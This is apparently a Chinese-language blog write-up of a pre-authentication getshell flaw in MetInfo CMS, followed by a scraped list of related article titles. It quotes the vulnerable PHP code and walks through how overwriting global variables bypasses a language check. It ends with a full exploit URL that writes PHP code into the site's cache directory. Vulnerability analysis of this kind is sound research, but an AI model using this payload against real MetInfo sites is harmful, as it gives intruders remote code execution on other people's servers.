metinfo整体做的还算不错,但是一个小疏忽,越权导致大漏洞代码如下:admin/include/common.inc.php 由于之前在最外围进行了一次参数解析,所以这里可以通过全量覆盖过来先不说这里,一会儿用得上,我们看一下admin/include/lang.php:

if($_GET[langset]!="" and $met_admin_type_ok==1){

$languser = $_GET[langset];

}

$langset=($languser!="")?$languser:$met_admin_type;if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){

$js="var user_msg = new Array();\n";

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result= $db->query($query);if($db->affected_rows()==0){

require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';

$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');

$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';

$re=syn_lang($post,$file_basicname,$langset,1,0);

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result= $db->query($query);

}

while($listlang= $db->fetch_array($result)){

if(substr($listlang['name'],0,2)=='js'){

$tmp=trim($listlang['value']);

$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";

}

$name = 'lang_'.$listlang['name'];

$$name= trim($listlang['value']);

$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";

}

//echo $str;

$js1='$'."js='".str_replace("'","\\'",$js).'\';';

$str="<?php \n".$str.$js1."\n?>";

file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);

}else{

require_once ROOTPATH.'cache/langadmin_'.$langset.'.php';

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30if($_GET[langset]!=""and$met_admin_type_ok==1){

$languser=$_GET[langset];

}

$langset=($languser!="")?$languser:$met_admin_type;if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){

$js="var user_msg = new Array();\n";

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result=$db->query($query);if($db->affected_rows()==0){

require_onceROOTPATH_ADMIN.'system/lang/lang.func.php';

$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');

$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';

$re=syn_lang($post,$file_basicname,$langset,1,0);

$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";

$result=$db->query($query);

}

while($listlang=$db->fetch_array($result)){

if(substr($listlang['name'],0,2)=='js'){

$tmp=trim($listlang['value']);

$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";

}

$name='lang_'.$listlang['name'];

$$name=trim($listlang['value']);

$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";

}

//echo $str;

$js1='$'."js='".str_replace("'","\\'",$js).'\';';

$str="<?php \n".$str.$js1."\n?>";

file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);

}else{

require_onceROOTPATH.'cache/langadmin_'.$langset.'.php';

}

第一步:if($_GET[langset]!="" and $met_admin_type_ok==1){$languser = $_GET[langset];}这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser怎么能让这一句成立!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')第一我们得定义ROOTPATH第二我们知道,php一个全版本的小bugfile_put_contents("d:/a.php/../a.php")这种是不会报错的但是对于langset 他有限制条件,我们怎么逾越这个条件此时猜想,若果有一个地方也越权,并且include了lang.phpcommon.inc.php:

if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');

if($_GET[langset]!=''){

$_GET[langset]=daddslashes($_GET[langset],0,1);

change_met_cookie('languser',$_GET[langset]);

save_met_cookie();

}

$_M['user']['cookie'] = $met_cookie;

$metinfo_admin_name = get_met_cookie('metinfo_admin_name');

$metinfo_admin_pass = get_met_cookie('metinfo_admin_pass');

$metinfo_admin_pop = get_met_cookie('metinfo_admin_pop');

$metinfo_admin_shortcut = get_met_cookie('metinfo_admin_shortcut');

$languser = get_met_cookie('languser');

$langadminok = get_met_cookie('metinfo_admin_lang');

$langusenow=$languser;

if($langadminok<>"" and $langadminok<>'metinfo')$adminlang=explode('-',$langadminok);

require_once ROOTPATH_ADMIN.'include/lang.php';

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');

if($_GET[langset]!=''){

$_GET[langset]=daddslashes($_GET[langset],0,1);

change_met_cookie('languser',$_GET[langset]);

save_met_cookie();

}

$_M['user']['cookie']=$met_cookie;

$metinfo_admin_name=get_met_cookie('metinfo_admin_name');

$metinfo_admin_pass=get_met_cookie('metinfo_admin_pass');

$metinfo_admin_pop=get_met_cookie('metinfo_admin_pop');

$metinfo_admin_shortcut=get_met_cookie('metinfo_admin_shortcut');

$languser=get_met_cookie('languser');

$langadminok=get_met_cookie('metinfo_admin_lang');

$langusenow=$languser;

if($langadminok<>""and$langadminok<>'metinfo')$adminlang=explode('-',$langadminok);

require_onceROOTPATH_ADMIN.'include/lang.php';

发现了在此处引入,下来我们看if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');如果met_langadmin参与运算的结果是个数组,这时候langset 就完全可控制后面走到了lang.php:1.!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php') 此处要是个空文件2.$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";$result= $db->query($query);这个查询为空,langset经过构造后 这个肯定是个空3.$js1='$'."js='".str_replace("'","\\'",$js).'\';';$str="<?php \n".$str.$js1."\n?>";file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);发现$str 就可以没有任何给它初始化,直接全局覆盖过来即可发送url:http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f直接就会在cache目录下创建一个文件langadmin_123.php内容为:<?phpphpinfo ();?>//$js='var user_msg = new Array();';?>访问以下

php.ini 米拓_MetInfo 无需登录前台直接GETSHELL相关推荐

  1. php.ini 米拓_MetInfo(米拓) v5.1.3任意文件上传漏洞分析附利用EXP | CN-SEC 中文网

    摘要 MetInfo 23号发布了新版本5.1.5,修补了本文提到的漏洞,当然严格来说应该是任意变量覆盖漏洞-. ps:欢迎各种形式转载,首发t00ls.net MetInfo 23号发布了新版本5. ...

  2. php.ini 米拓_图片无法上传问题“大集结”-米拓建站帮助中心

    # 图片无法上传问题"大集结" 如果你在使用米拓系统上传图片或文件时,出现以下问题: 1. 上传图片时提示:创建水印目录失败 2. 后台发布的商品图片前台不显示 3. 图片无法上传 ...

  3. php.ini 米拓_米拓metinfo使用中的问题与解决方案

    最近试用了米拓metinfo(5.3版)企业建站系统试着做了个网站.使用中发现了一些问题,有些能解决,有些不能.与大家分享吧. 一,系统路径设置问题 因为不管文章系统还是产品模块上传文件全部使用绝对全 ...

  4. php.ini 米拓_独家发布米拓metinfo6系统ueditor编辑器getshell漏洞分析及终极解决办法...

    原标题:独家发布米拓metinfo6系统ueditor编辑器getshell漏洞分析及终极解决办法 最近笔者所有米拓metinfo系统做的网站都被植入木马,连最新版6.2.0都能被攻击,而且修改了后台 ...

  5. php.ini 米拓_解决MetInfo(米拓)5.3版本后伪静态无法正常使用的问题

    MetInfo(米拓)升级到5.3版本默认伪静态规则,在UPUPW Kangle套件下无法正常使用 因为Kangle可以使用Apache的.htacess文件,所以Kangle可以完全支持Apache ...

  6. Ajax post sql注入,cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)

    摘要 cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无� cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无视gpc的sql注入 我下载的是最新版 ...

  7. 米拓5.3 mysql支持off,Metinfo 5.3.17 前台SQL注入漏洞分析

    Metinfo 8月1日升级了版本,修复了一个影响小于等于5.3.17版本(几乎可以追溯到所有5.x版本)的SQL注入漏洞.这个SQL注入漏洞不受软WAF影响,可以直接获取数据,影响较广. 漏洞出现在 ...

  8. 米拓+php.ini_米拓

    插件名称:单页部署版本更新:V1.0(发布于 2020 年 03 月 31 日)开发语言:PHP+MySQL 或 PHP+SQLite环境要求:Nginx.Apache.IIS,PHP5.3-7.2, ...

  9. 金蝶协同办公平台任意文件下载漏洞(无需登录)

    经测试发现,该系统存在任意文件下载,且无需登录 存在漏洞的文件: /oa/admin/application/file_download.jsp?filePath=http://x.x.x.x:789 ...

最新文章

  1. Ajax的数据发送与接收(jQuery)
  2. html5 jquery版工作流设计器,基于jQuery的web在线流程图设计器GooFlow
  3. mysql数据库主键自增6_mysql数据库,主键自增主键不连续
  4. python while循环语句-Python中的while循环语句怎么用?
  5. pre标签 首行会自动换行解决方案
  6. [Linux] 进程间通信
  7. react和react2_为什么React16是React开发人员的福气
  8. 滴滴派发15亿出行消费券 覆盖快车、优享等多产品
  9. 我很多文章都有建议大伙不要轻易去创业
  10. aix mysql日志,一次AIX 操作系统ASM添加磁盘的操作日志
  11. BootStrap学习(1)
  12. Android ActionBar的Overlay模式如何不遮盖顶部内容的问题
  13. 二进制差分码规则_二进制 你不知道的事
  14. layerDate 时间插件
  15. [计算机数值分析]开方公式-牛顿法
  16. 王垠《清华梦破碎》沉思与反省
  17. coldfusion_ColdFusion破坏神话
  18. 畅享7 plus android8,华为畅享7plus和荣耀8哪个好?
  19. ds18b20程序c语言,单片机中使用DS18B20温度传感器C语言程序(参考6)
  20. C++STL库:String介绍

热门文章

  1. 【Jmeter控制执行顺序 Critical Section Controller临界部分控制器】
  2. 大一matlab机考题目,MATLAB机考样题(带答案).doc
  3. 一个使用k8s发布应用程序的简单实例
  4. 西门子PLC通过RS485串口连接维特智能Modbus协议角度姿态传感器HWT905(4)——多传感器多角度报警
  5. JAVA 程序员 迎娶白富美之路
  6. 孩子用的护眼灯什么牌子的好?品牌护眼台灯排行榜
  7. cesium three性能比较_基督教/天主教/东正教/犹太教圣经简单比较
  8. 使用计算机需要准备硬件和什么,计算机使用和硬件安全维护.doc
  9. face-api.js、webcamjs实现人脸比对
  10. SVN使用中的经验浅谈